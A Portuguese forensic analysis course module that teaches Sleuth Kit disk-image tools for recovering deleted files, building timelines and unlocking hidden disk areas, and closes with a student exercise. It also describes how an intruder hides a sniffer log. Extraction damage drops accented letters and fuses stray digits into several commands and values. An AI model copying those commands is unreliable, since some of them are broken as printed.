O primeiro comando exemplificado permite listar de quais bibliotecas o programa em questo depende. Este comando pode ser til para descobrir verses modificadas de binrios que possam apontar para bibliotecas em locais externos ao padro do sistema. O segundo comando lista as funes exportadas pelo executvel. Com esta informao, possvel descobrir por alto algumas funcionalidades do programa analisado. Por exemplo, um binrio suspeito que utilize uma chamada setsockopt() deve ter a capacidade de criao de um listener. Isto pode indicar que o binrio pode ser um backdoor.

Anlise forense Sesso de aprendizagem 3

53

O comando seguinte utilizado para listar informaes sobre o binrio, como no primeiro exemplo, mas, alm disso, permite tambm listar o cdigo assembly do binrio. Dois formatos de disassembly so suportados, como mostrado no segundo e terceiro exemplos.

Pacote forense de ferramentas


Por que utilizar um pacote forense de ferramentas? Facilitam o trabalho de analisar e extrair evidncias de imagens de disco. Permitem recuperar arquivos removidos. So flexveis, permitindo a anlise de sistemas de arquivos diferentes. A quantidade de dados muito grande, ento ferramentas especficas tornam o trabalho mais fcil.

Pacote forense de ferramentas


Tipos de ferramentas do pacote forense:
\\Ferramentas

do Nvel de Sistema de Arquivos Estas ferramentas processam dados gerais sobre o sistema de arquivos, tal como o layout de disco, estruturas de alocao e boot blocks. do Nvel de Nomes de Arquivos Estas ferramentas processam estruturas de nomes de arquivos e de diretrios. do Nvel de Metadados Estas ferramentas processam estruturas de metadados, que armazenam detalhes sobre os arquivos. Metadados so dados sobre dados. Eles armazenam informaes sobre estruturas tais como entradas de diretrios na FAT, entradas MFT em sistemas NTFS, ou inodes em sistemas de arquivos UFS ou EXTFS. do Nvel de Blocos de Dados Estas ferramentas processam blocos de dados onde o contedo de um arquivo fica armazenado, como por exemplo clusters em um sistema FAT. ferramentas Tm funcionalidades diversas e so importantes durante a anlise forense.

\\Ferramentas

\\Ferramentas

Pacote forense de ferramentas


Ferramentas do Nvel de Sistema de Arquivos Ferramentas do Nvel de Nomes de Arquivos Ferramentas do Nvel de Metadados Ferramentas do Nvel de Blocos de Dados Outras ferramentas

\\Ferramentas

\\Outras

Pacote forense de ferramentas


J mencionamos a ferramenta EnCase, para Windows. Existem dois pacotes importantes para Linux: The Coroners Toolkit The Sleuth Kit Sleuth Kit foi criado com base no primeiro, e possui mais funcionalidades e flexibilidade. Outras ferramentas facilitam o trabalho do analista, tal como o Autopsy, uma interface web para os programas do Sleuth Kit.

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP

54

Pacote forense de ferramentas


Vamos utilizar neste curso o pacote Sleuth Kit:
Maior flexibilidade das ferramentas Trabalha com dispositivos de disco ou imagens binrias Reconhece diversos sistemas de arquivos Sem custo de utilizao

As ferramentas do Sleuth Kit esto divididas em grupos, de acordo com as estruturas de um sistema de arquivos:
Sistema de arquivos Estruturas de nomes de arquivos Estruturas de metadados Estruturas de journaling Estruturas de blocos de dados Estruturas de gerenciamento de parties Estruturas de acesso fsico ao disco

Pacote forense de ferramentas


Cada arquivo em um sistema Unix possui um nico inode. Cada inode contm: Owner: 707
Identificao do owner Tipo do arquivo Permisses de acesso Tempo de acesso Nmero de links Tabela de contedo Tamanho do arquivo Lista de blocos de dados do arquivo
Group: 707 Type: regular Perms: rw-rw-rw-Accessed: Mon JAN 16 03:03 Modified: Mon JAN 16 01:01 Created: Sun DEC 15 10:00

Os inodes contm informaes necessrias aos processos para acessar um arquivo.


Owner: 707 Group: 707 Type: regular Perms: rw-rw-rw-Accessed: Mon JAN 16 03:03 Modified: Mon JAN 16 01:01 Created: Sun DEC 15 10:00

Pacote forense de ferramentas


Qual a importncia dos inodes e da forma de alocao de dados no disco? Quando um arquivo apagado os dados continuam no disco e podem ser recuperados at que sejam sobrescritos. Algoritmos de alocao de espao evitam coliso. Concluso Arquivos apagados so freqentemente recuperados com sucesso e possuem informaes valiosas.

Anlise forense Sesso de aprendizagem 3

55

Os blocos de dados so a menor estrutura em um disco, e armazenam o contedo do arquivo. Um inode pode armazenar os dados do arquivo quando este for bem pequeno, menor que o tamanho de um bloco. Caso o arquivo tenha entre 1 e 8 blocos, o inode armazena uma lista de blocos diretamente. E quando o arquivo for muito grande, o inode vai utilizar os blocos endereados diretamente como rea para armazenar informaes sobre os blocos que armazenam o arquivo. Este processo chamado de blocos de dados endereados indiretamente, e permite que um arquivo tenha tamanhos arbitrrios.

Pacote forense de ferramentas


Como os arquivos so apagados? O inode alocado a um arquivo marcado como livre O inode recolocado na lista free-inodes no superblock O nmero de free-inodes incrementado no superblock Blocos do disco so retornados para a lista de blocos livres no disco O nmero de blocos livres no disco incrementado no superblock

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


Ferramentas do nvel de sistema de arquivos
fsstat Mostra detalhes e estatsticas do sistema de arquivos:
# fsstat -f linux-ext2 /data/dev_sda2_root.img FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext2 Volume Name: Volume ID: 533d2c132a726ebcb1430beadf42a1df Last Written at: Tue Jan 15 21:00:42 2008 Last Checked at: Wed Jan 16 03:32:47 2008 Last Mounted at: Tue Jan 15 21:00:12 2008

56

Ferramentas do nvel de sistema de arquivos


fsstat Mostra detalhes e estatsticas do sistema de arquivos, tal como layout, tamanho do disco, tamanho dos blocos, nmero de inodes e blocos de dados, datas de modificao, entre outros.
# fsstat -f linux-ext2 /data/dev_sda2_root.img8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext2 Volume Name: Volume ID: 533d2c132a726ebcb1430beadf42a1df Last Written at: Tue Jan 15 21:00:42 2008 Last Checked at: Wed Jan 16 03:32:47 2008 Last Mounted at: Tue Jan 15 21:00:12 2008

Este comando importante para o investigador descobrir informaes sobre o disco que sero teis em diversos momentos da investigao. Deve-se executar o comando para entender a sada completa do mesmo, j que no possvel coloc-la toda aqui. Uma parte importante da sada mostrada a seguir:
Source OS: Linux Dynamic Structure Compat Features: Journal, InCompat Features: Filetype, Read Only Compat Features: Sparse Super, Journal ID: 00 Journal Inode: 8 METADATA INFORMATION -------------------------------------------Inode Range: 1 - 64512 Root Directory: 2 Free Inodes: 51833 CONTENT INFORMATION -------------------------------------------Block Range: 0 - 257039 Block Size: 1024 Reserved Blocks Before Block Groups: 1 Free Blocks: 50885

O tamanho dos blocos define o menor espaco disponvel para um arquivo. Os limites de inode e de blocos indicam valores teis para serem utilizados em outros comandos que veremos a seguir.

Anlise forense Sesso de aprendizagem 3

57

Ferramentas do nvel de nomes de arquivos


ffind Procura por nomes de arquivos que apontem para uma dada estrutura de metadados.
# ffind -f linux-ext2 /data/dev_sda2_root.img 4317 * /usr/NX/bin/nxclient

Ferramentas do nvel de nomes de arquivos


ffind Procura por nomes de arquivos que apontem para uma dada estrutura de metadados.
# ffind -f linux-ext2 /data/dev_sda2_root.img 43178 * /usr/NX/bin/nxclient

A estrutura de um arquivo em disco composta por um inode que armazena informaes sobre o arquivo e aponta para os blocos de dados que armazenam o contedo do arquivo. Podemos entender o ffind como uma ferramenta que serve para descobrir o nome de arquivo que aponta para o inode informado. O fls funciona basicamente como o ls, listando a estrutura de diretrios e arquivos do dispositivo ou imagem informados, com a diferena de que lista os arquivos removidos, tambm podendo listar mais informaes como inode e mactimes.

Ferramentas do nvel de nomes de arquivos


fls Lista nomes de arquivos alocados ou apagados em um diretrio.
# fls -a r d -f linux-ext2 /data/dev_sda2_root.img d/- * 0: KNOPPIX/usr r/r * 4317: usr/NX/bin/nxclient # fls -a -f linux-ext2 /data/dev_sda2_root.img # fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_root.img > /data/dev_sda2_root.img.mac

fls Lista nomes de arquivos alocados ou apagados em um diretrio.


# fls -a r d -f linux-ext2 /data/dev_sda2_root.img8 d/- * 0: KNOPPIX/usr r/r * 4317: usr/NX/bin/nxclient # fls -a -f linux-ext2 /data/dev_sda2_root.img8 # fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_ root.img > /data/dev_sda2_root.img.mac8

Ferramentas do nvel de metadados


istat Mostra estatsticas e detalhes sobre um determinado inode.
# istat -f linux-ext2 /data/dev_sda2_root.img 4317

Ferramentas do nvel de metadados


istat
# istat -f linux-ext2 /data/dev_sda2_root.img 43178

Dados da sada do istat:


inode: 4317 Not Allocated Group: 2 Generation Id: 2619973599 uid / gid: 0 / 0 mode: -rwxr-xr-x size: 5432288 num of links: 0 Inode Times:

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


Accessed: Wed Jan 16 03:51:16 2008 File Modified: Tue Dec 20 09:44:32 2005 Inode Modified: Tue Jan 15 21:00:40 2008 Deleted: Tue Jan 15 21:00:40 2008 Direct Blocks: 27894 27895 27896 27897 27898 27899 27900 27901 ...

58

Vemos no exemplo algumas informaes interessantes sobre o arquivo armazenado no inode listado. Primeiro, que ele no est alocado, isto , o arquivo original foi removido. Segundo, vemos o usurio e grupo originais do arquivo, alm de suas permisses. Finalmente, vemos os tempos de acesso, modificao, criao e remoo do arquivo. Veremos em outra sesso como essas informaes podem ser importantes para identificar as atividades de um invasor.

Ferramentas do nvel de metadados


icat Extrai uma unidade de dados de um disco, a partir do endereo do metadado que aponta para este bloco. Permite extrair um arquivo a partir de um inode, sem precisar saber o nome do arquivo.
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 > /data/inode_4317_nxclient.dat

icat
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 > /data/inode_4317_nxclient.dat8

O icat a ferramenta utilizada para recuperar arquivos deletados. Com o inode sabendo onde um arquivo est armazenado, como por exemplo utilizando fls ou lsi, possvel recuperar o arquivo utilizando o icat como mostra o exemplo. ifind Procura a estrutura de metadados para a qual um determinado nome de arquivo aponta, ou a estrutura de metadados que aponta para um determinado bloco de dados. Permite, em conjunto com o comando ffind achar qual nome de arquivo aponta para um bloco de dados (por exemplo, o bloco de dados que contenha um texto importante que se deseje recuperar).
# ifind -a /data/dev_sda2_root.img -d 2513998 60489 # ffind -a /data/dev_sda2_root.img 60489 8 /etc/passwd # ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxc lient8 4317

Ferramentas do nvel de metadados


ifind Permite, em conjunto com o comando ffind achar o nome de arquivo que aponta para um bloco de dados
# ifind -a /data/dev_sda2_root.img -d 251399 60489 # ffind -a /data/dev_sda2_root.img 60489 /etc/passwd # ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxclient 4317

No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes que queremos recuperar. Para achar o inode que est alocando este bloco, isto , o arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o inode, e aps isso utilizamos o ffind para encontrar o nome de arquivo correspondente.

Anlise forense Sesso de aprendizagem 3

59

O segundo exemplo faz o contrrio: a partir do nome de um arquivo conhecido, descobrimos em qual inode ele estava armazenado originalmente.

Ferramentas do nvel de metadados


ils Lista as estruturas de metadados e seus contedos em um formato fcil de tratar. Faz com inodes o mesmo que o fls fez com nomes de arquivos.
# ils r f linux-ext2 /data/dev_sda2_root.img # ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img > /data/dev_sda2_root.img.ils # ils O f linux-ext2 /data/dev_sda2_root.img

ils Lista as estruturas de metadados e seus contedos em um formato fcil de se tratar. O ils faz com inodes o mesmo que o fls fez com nomes de arquivos. Exemplo:
# ils r f linux-ext2 /data/dev_sda2_root.img # ils -m -f linux-ext2 -e -r /data/dev_sda2_root. img > /data/dev_sda2_root.img.ils # ils O f linux-ext2 /data/dev_sda2_root.img

Nos exemplos acima, listamos recursivamente todos os inodes da imagem (alocados ou no). O segundo exemplo cria um arquivo no formato mactimes, como vimos no fls. E o terceiro exemplo til em um sistema ligado, permitindo listar todos os inodes que foram removidos, mas ainda esto abertos. Com isto, poderemos identificar algum executvel ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em memria. Isto muito comum quando um invasor instala um sniffer na mquina. Ele executa o sniffer, descobre em qual inode o arquivo de logs est armazenado, removendo em seguida o binrio do sniffer e o arquivo de logs. Como o arquivo vai permanecer aberto, nenhum novo arquivo poder sobrescrever as reas do disco onde esse log est sendo armazenado, e ele no vai aparecer mais no sistema de arquivos. Quando o invasor precisar, poder voltar mquina, e recuperar o arquivo a partir do inode. Este um mtodo muito simples de esconder evidncias no sistema.

Ferramentas do nvel de blocos de dados


dstat Mostra estatsticas e detalhes sobre um bloco de dados.
# dstat -f linux-ext2 /data/dev_sda2_root.img 251399 Fragment: 251399 Allocated Group: 30

Ferramentas do nvel de blocos de dados


dstat Mostra estatsticas e detalhes sobre um bloco de dados.
# dstat -f linux-ext2 /data/dev_sda2_root.img 251399 Fragment: 251399 Allocated Group: 30

Os blocos de dados so a menor estrutura de armazenamento possvel um disco. Um inode armazena a lista de blocos onde os dados do arquivo so armazenados. Algumas vezes, quando um inode for sobrescrito, ou parte dos blocos de um arquivo forem sobrescritos, no ser possvel recuperar o arquivo completo, mas com o dstat e dcat, podemos recuperar partes do arquivo e com isso conseguir evidncias importantes para resolver o caso.
Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


dcat

60

Ferramentas do nvel de blocos de dados


dcat Extrai um bloco de dados de um disco. Utilizaremos esta ferramenta quando no for possvel identificar a qual arquivo ou inode pertence um determinado bloco. Permite recuperar dados parciais de arquivos.
# dcat -f linux-ext2 /data/dev_sda2_root.img 251399 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

# dcat -f linux-ext2 /data/dev_sda2_root.img 2513998 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

Ferramentas do nvel de blocos de dados


dls
Lista detalhes sobre unidades de dados, e pode listar blocos de dados desalocados de um sistema de arquivos.
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root. img 27891 27895 class|host|image|first_time|unit dls|Helix||1199680475|Fragment addr|alloc 27891|a 27892|a 27893|a 27894|f 27895|f # dls -A -f linux-ext2 /data/dev_sda2_root.img > / data/dev_sda2_root.img.dls

dls Lista detalhes sobre unidades de dados, e pode listar blocos de dados desalocados de um sistema de arquivos. Estes blocos contm o espao livre e os arquivos deletados em disco.
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root. img 27891 27895 8 class|host|image|first_time|unit dls|Helix||1199680475|Fragment addr|alloc 27891|a 27892|a 27893|a 27894|f 27895|f # dls -A -f linux-ext2 /data/dev_sda2_root.img > / data/dev_sda2_root.img.dls8

No primeiro exemplo, o dls lista o estado de alocao dos blocos entre os valores indicados. Podemos ver que os blocos alocados aparecem com o status a, e os desalocados esto listados como f. O segundo exemplo cria um arquivo contendo somente os blocos desalocados do disco. Com este arquivo, poderemos procurar por evidncias que tenham sido removidas, como por exemplo, um arquivo de log ou executvel. Pode no parecer muito interessante esse tipo de funo, mas pense em procurar por essa evidncia em um disco de centenas de gigabytes. Se conseguir procurar somente no espao livre, a quantidade de dados pode ser muito menor, facilitando o trabalho de investigao.

Anlise forense Sesso de aprendizagem 3

61

Ferramentas do nvel de blocos de dados


dcalc Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo:
# # # # # grep -ab http://www /data/dev_sda2_root.img.dls fsstat /data/dev_sda2_root.img | grep Block Size echo $((4045060/1024)) dcalc -u 3950 /data/dev_sda2_root.img dcat /data/dev_sda2_root.img 31844

dcalc Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo:
# grep -ab http://www /data/dev_sda2_root.img.dls8 # fsstat /data/dev_sda2_root.img | grep Block Size8 # echo $((4045060/1024))8 # dcalc -u 3950 /data/dev_sda2_root.img8 # dcat /data/dev_sda2_root.img 318448

Mais informaes: http://www.nomachine. com/

Esta a sequncia de comandos com a sada correspondente:


# grep -ab http://www /data/dev_sda2_root.img.dls8 4045060:See http://www.nomachine.com/ for more information. # fsstat /data/dev_sda2_root.img | grep Block Size8 Block Size: 1024 # echo $((4045060/1024))8 3950 # dcalc -u 3950 /data/dev_sda2_root.img8 31844 # dcat /data/dev_sda2_root.img 318448 The directory not exists./.nx/config//confignxsconfCannot find the configuration file .nxsError: the session name %1 not found in %2.NXCLIENT - Version

O primeiro comando lista as ocorrncias da sequncia procurada, com o offset em bytes onde essa sequncia pode ser encontrada na imagem. Com o comando fsstat, vemos que o tamanho do bloco do disco tem 1024 bytes, ento temos que encontrar o endereo do bloco de dados que armazena o byte do offset encontrado. O comando echo visto no exemplo usa uma facilidade do shell para calcular o endereo do bloco, e a seguir utilizamos o dcalc para descobrir na imagem original o bloco correspondente ao bloco encontrado na imagem de blocos desalocados. Por fim, utilizamos o dcat para recuperar o contedo do bloco em questo.

Outras ferramentas
mmls Mostra informaes sobre o layout do disco, incluindo espaos no particionados.
A sada identifica o tipo das parties e seus tamanhos, facilitando a utilizao do comando dd para extrair parties. A sada ordenada pelo setor inicial, facilitando encontrar espaos no layout.

Outras ferramentas
mmls Mostra informaes sobre o layout do disco, incluindo espaos no particionados. A sada identifica o tipo das parties e seus tamanhos, facilitando a utilizao do comando dd para extrair parties. A sada ordenada pelo setor inicial, facilitando encontrar espaos no layout.

# mmls -t dos /dev/sda DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


# mmls -t dos /dev/sda8 DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors

62

O comando mmls importante, pois mostra a estrutura de particionamento do disco, incluindo o tipo e o tamanho das parties, possveis espaos no particionados, o tamanho do cluster (que define o tamanho do bloco) e o tipo da partio.

Outras ferramentas
mmstat Este comando mostra apenas o tipo de partio presente em um dispositivo. Pode ser utilizado para descobrir essa informao num disco no qual no conhecemos o tipo de particionamento utilizado. # mmstat /dev/das dos

mmstat Este comando mostra apenas o tipo de partio presente em um dispositivo. Pode ser utilizado para descobrir essa informao num disco no qual no conhecemos o tipo de particionamento utilizado.
# mmstat /dev/das 8 dos

O mmstat uma ferramenta para mostrar o tipo de tabela de partio existente na imagem ou dispositivo. hfind

Outras ferramentas
hfind
Para um dado arquivo suspeito, procura em bancos de dados de hash criptogrficos conhecidos pela existncia do arquivo, para verificar sua autenticidade. Diversos bancos de dados podem ser usados como fonte: [9], [10], [11], [12], [13].
# hfind -i md5sum /data/badfiles_hashs.md5

Procura um dado arquivo suspeito em bancos de dados de hash criptogrficos conhecidos pela existncia do arquivo, para verificar sua autenticidade. Diversos bancos de dados podem ser usados como fonte.
# hfind -i md5sum /data/badfiles_hashs.md58 Index Created # hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49 91d390431998 e54904845b4b0a9cb5f4991d39043199 /bin/chgrp

Index Created
# hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49 91d39043199 e54904845b4b0a9cb5f4991d39043199 /bin/chgrp

O hfind uma ferramenta usada para procurar por assinaturas de arquivos conhecidos. O primeiro comando do slide cria um ndice baseado na lisa de hashs passada como parmetro. Existem na internet diversas listas de arquivos maliciosos ou de arquivos vlidos de um sistema. O segundo comando procura por um hash especfico dentro do ndice, e indica o arquivo correspondente a esse hash.

Anlise forense Sesso de aprendizagem 3

63

Outras ferramentas
mactime Pega a sada dos comandos ils ou fls e cria um timeline, ou linha de eventos, da atividade de arquivos no disco.
# mactime -b /data/dev_sda2_root.img.mac p /etc/passwd -z GMT-3

mactime Pega a sada dos comandos ils ou fls e cria um timeline, ou linha de eventos, da atividade de arquivos no disco. Como veremos em sesses posteriores, o timeline a principal ferramenta para remontar os passos de uma invaso.
# mactime -b /data/dev_sda2_root.img.mac -p /etc/pa sswd -z GMT-38

disk_stat Este comando mostra informaes sobre discos ATA e Serial-ATA. Normalmente, podemos encontrar neste tipo de disco uma rea reservada onde os fabricantes normalmente instalam arquivos de recuperao do sistema operacional original. Esta rea conhecida como Host Protected Area (HPA):
# disk_stat /dev/sda8 Maximum Disk Sector: 312499999 Maximum User Sector: 268435454 ** HPA Detected (Sectors 268435454 - 312500000) **

Outras ferramentas
disk_stat
Este comando mostra informaes sobre discos ATA e SerialATA. Host Protected Area (HPA):
rea reservada onde os fabricantes normalmente instalam arquivos de recuperao do sistema operacional original.

# disk_stat /dev/sda Maximum Disk Sector: 312499999 Maximum User Sector: 268435454 ** HPA Detected (Sectors 268435454 312500000) **

O problema do HPA que esta rea no acessvel ao sistema operacional, nem mesmo em uma listagem de parties com o comando fdisk. Mas um invasor com as ferramentas necessrias pode utilizar essa regio do disco para esconder informaes.

Se o investigador tentar realizar uma cpia do disco antes de desabilitar a proteo do HPA, o dd ou qualquer comando utilizado para cpia no copiar os setores protegidos. Por isso estes comandos so importantes durante o atendimento inicial do incidente para garantir que as evidncias sero coletadas corretamente.

Outras ferramentas
disk_sreset Permite remover o bloqueio de acesso ao HPA, permitindo que o investigador tenha acesso aos setores de disco protegidos.
# disk_sreset /dev/sda Removing HPA from 268435454 to 312500000 until next reset

disk_sreset Este comando permite remover o bloqueio de acesso ao HPA, permitindo assim que o investigador tenha acesso aos setores de disco protegidos e ao seu contedo.
# disk_sreset /dev/sda8 Removing HPA from 268435454 to 312500000 until next reset

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP


sorter

64

Outras ferramentas
sorter
Analisa e ordena os arquivos em uma imagem de disco baseada em um banco de dados de assinaturas de arquivos.
# mkdir -p /usr/local/sleuthkit-2.09/share/file/ # cp /usr/share/file/magic /usr/local/sleuthkit2.09/share/file/ # sorter -f linux-ext2 -d /data/sorter /data/dev_sda2_root.img Analyzing "/data/dev_sda2_root.img Loading Allocated File Listing Processing 12674 Allocated Files and Directories 100% All files have been saved to: /data/sorter

Analisa e ordena os arquivos em uma imagem de disco baseada em um banco de dados de assinaturas de arquivos. Serve para identificar rapidamente se existem em disco arquivos de um determinado tipo.
# mkdir -p /usr/local/sleuthkit-2.09/share/file/8 # cp /usr/share/file/magic /usr/local/sleuthkit-2.09 /share/file/8 # sorter -f linux-ext2 -d /data/sorter /data/dev_sd a2_root.img8 Analyzing /data/dev_sda2_root.img Loading Allocated File Listing Processing 12674 Allocated Files and Directories 100% All files have been saved to: /data/sorter

O arquivo unknown.txt contm os arquivos encontrados pelo sorter com os respectivos inodes onde foram encontrados.

Outras ferramentas
sigfind O comando sigfind permite procurar por um padro binrio em um arquivo.
# sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | less # ifind -a /data/dev_sda2_root.img -d 55934 # ffind -a /data/dev_sda2_root.img 4781 # hexdump -C /usr/X11R6/lib/X11/fonts/100dpi /UTBI__10-ISO8859-1.pcf.gz | head -1

sigfind O principal problema em procurar padres utilizando o comando grep que no podemos procurar por padres binrios. Por exemplo, como encontrar a assinatura de um arquivo gzip? Neste caso, o comando sigfind pode ser utilizado. Ele permite procurar por um padro binrio em um arquivo.
# sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | l ess8 Block size: 1024 Offset: 0 Signature: 1F8B08 Block: 55934 (-) # ifind -a /data/dev_sda2_root.img -d 559348 4781 # ffind -a /data/dev_sda2_root.img 47818 /usr/X11R6/lib/X11/fonts/100dpi/UTBI__10-ISO8859-1. pcf.gz # hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__ 10-ISO8859-1.pcf.gz | head -18 00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70 5c d5 |.......C...Z.p\.|

Vemos no exemplo acima que o comando sigfind encontrou o padro procurado no bloco 55934. Utilizamos em seguida o comando ifind para encontrar o inode correspondente que aponta para este bloco. Encontrando o inode, podemos utilizar o comando ffind para achar finalmente o nome do arquivo correspondente.

Anlise forense Sesso de aprendizagem 3

65

Fizemos uma ltima verificao com o comando hexdump para mostrar que os trs primeiros bytes do arquivo so mesmo 0x1f8b08.

Outras ferramentas
srch_strings Permite realizar as mesmas tarefas do comando strings, com a diferena de poder procurar por caracteres com outra codificao. Veja os exemplos abaixo:
# # # # # strings a /data/ HelloWorld.doc srch_strings -a -e l /data/ HelloWorld.doc srch_strings -a -e b /data/ HelloWorld.doc srch_strings -a -e s /data/ HelloWorld.doc srch_strings -a -e S /data/ HelloWorld.doc

srch_strings O comando strings tem um problema que muitas vezes pode atrapalhar os resultados de uma investigao. Caso exista algum texto de evidncia que utilize uma codificao diferente do padro ASCII, strings no vai mostr-lo. Por isso, o comando srch_ strings existe para suprir essa deficincia. Ele permite realizar as mesmas tarefas do comando strings, com a diferena de poder procurar por caracteres com outra codificao. Veja os exemplos ao lado:
# strings a /data/ HelloWorld.doc8 # srch_strings -a -e l /data/ HelloWorld.doc8 # srch_strings -a -e b /data/ HelloWorld.doc8 # srch_strings -a -e s /data/ HelloWorld.doc8 # srch_strings -a -e S /data/ HelloWorld.doc8

Nos exemplos, mudando o tipo de codificao com o parmetro e podemos ver a diferena na sada dos comandos, comparados com o comando strings normal. Em cada caso, utilizamos uma codificao diferente, de acordo com o parmetro passado em e <codificacao>. Isto pode ser importante para encontrar arquivos que estejam em outra codificao, como por exemplo se o invasor for proveniente de pases orientais. foremost Quando o nmero de arquivos que precisamos recuperar for muito grande, fica invivel realizar essa tarefa manualmente. O foremost uma ferramenta escrita pela fora area americana, com o objetivo de facilitar a procura e recuperao de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configurao onde possvel especificar as assinaturas que deseja procurar.
# mkdir /data/foremost8 # foremost -o /data/foremost -c /data/foremost.conf /data/dev_sda2_root.img. dls8 Processing: /data/dev_sda2_root.img.dls # ls /data/foremost8 audit.txt htm jpg

Podemos ver que o comando cria um diretrio para cada tipo de arquivo identificado, e dentro dele armazena os arquivos do tipo que foram recuperados da imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme vimos, contm os blocos de dados desalocados do disco original.

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP

66

Outras ferramentas
foremost Facilita a procura e recuperao de arquivos baseados em suas assinaturas, utilizando um arquivo de configurao onde possvel especificar as assinaturas que deseja procurar.
# mkdir /data/foremost # foremost -o /data/foremost -c /data /foremost.conf /data/dev_sda2_root.img.dls Processing: /data/dev_sda2_root.img.dls # ls /data/foremost audit.txt htm jpg

O comando foremost cria tambm um arquivo chamado audit.txt que contm informaes sobre a localizao dos arquivos recuperados:
# cat /data/foremost/audit.txt8 Foremost version 1.5 by Jesse Kornblum, Kris Kendall, and Nick Mikus Audit File Foremost started at Mon Jan 14 21:03:44 2008 Invocation: foremost -o /data/foremost -c /data/ foremost.conf /data/dev_sda2_root.img.dls Output directory: /data/foremost Configuration file: /data/foremost.conf ----------------------------------------------------------------File: /data/dev_sda2_root.img.dls Start: Mon Jan 14 21:03:44 2008 Length: 49 MB (52106240 bytes) Num Name (bs=512) Size File Offset Comment 0: 00000422.jpg 77 KB 216260 1: 00000482.jpg 46 KB 247042 2: 00000679.jpg 2 KB 348009

CD de ferramentas
Deve-se criar ou utilizar um CD com ferramentas teis ao trabalho do investigador. O Live CD do Helix uma boa opo, mas caso o seu trabalho seja exclusivamente realizar investigaes de incidente, voc deveria pensar em criar seu prprio CD de ferramentas. A primeira coisa que deve existir em um CD de ferramentas forenses um interpretador de comandos confivel.

CD de ferramentas
Durante uma investigao, importante que o investigador tenha em mos todas as ferramentas necessrias para o seu trabalho. necessrio compilar estaticamente todas as ferramentas do CD, para evitar o comprometimento por binrios ou bibliotecas suspeitas.

CD de ferramentas
Alm de um interpretador de comandos, o CD deve conter as seguintes ferramentas: Todas as ferramentas bsicas vistas anteriormente. Todas as ferramentas do pacote forense escolhido. Ferramentas bsicas do sistema:
ls, cp, mv, rm, chroot, cat, less, more, chmod, chown, chgrp, date, df, du, cut, sort, strip, tail, head, ln, arp, echo, env, hostname, id, ifconfig, pwd, touch, uniq, uptime, wc, who.

Ferramentas de manipulao e compilao de objetos:


cc, ld, nm, ldd, addr2line, ar, as, gprof, objcopy, objdump, ranlib.

Anlise forense Sesso de aprendizagem 3

67

Concluses
O sistema operacional utilizado pelo investigador precisa ser flexvel e confivel. Deve dispor de ferramentas bsicas que auxiliem na tarefa de analisar dezenas de gigabytes de dados. A utilizao de um pacote de ferramentas forenses indispensvel. Todas as ferramentas utilizadas devem estar disponveis em um CD, compiladas estaticamente e prontas para utilizao em qualquer situao.

Concluses
Na prxima sesso conheceremos as tcnicas para coleta de evidncias a partir da imagem do disco de uma mquina comprometida. Apesar desta ser a parte mais demorada do processo, veremos que as tcnicas so simples e de fcil execuo.

Ambiente e ferramentas de anlise forense (parte 2)

Escola Superior de Redes RNP

68

Anlise forense Sesso de aprendizagem 3

3
Sesso de aprendizagem 3 Ambiente e ferramentas de anlise forense (parte 2) Roteiro de atividades
Tpicos e conceitos
\\Utilizao

de comandos do sistema operacional e do pacote forense de ferramentas.

Competncias tcnicas desenvolvidas


\\Encontrar

arquivos escondidos no disco e verificar o seu contedo

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-110

minutos

Escola Superior de Redes RNP

70

Atividade 1 Investigando o disco


Existe um arquivo escondido em algum lugar no diretrio /data, sobre o qual no se sabe nada. O aluno, sozinho ou com um colega, deve utilizar somente as ferramentas bsicas vistas nessa sesso para encontrar o arquivo, e sem execut-lo, descobrir suas funcionalidades. O aluno deve preparar um relatrio explicando os comandos que utilizou para encontrar o arquivo e para analisar seu contedo de modo a descobrir suas funcionalidades. O relatrio deve conter o hash do arquivo, tipo, nome e diretrio local onde foi encontrado, bibliotecas utilizadas e qualquer informao extra que julgue importante para identificar o arquivo. Existe algum arquivo no sistema do Helix que tenha a mesma assinatura desse arquivo? Se encontrar um arquivo com mesmo hash, inclua isso em seu relatrio. Discuta com seus colegas as tcnicas, dificuldades e solues encontradas neste exerccio. (Guarde 15 minutos para discusso com os demais alunos.)

Atividade 2 Uso do Sleuth Kit


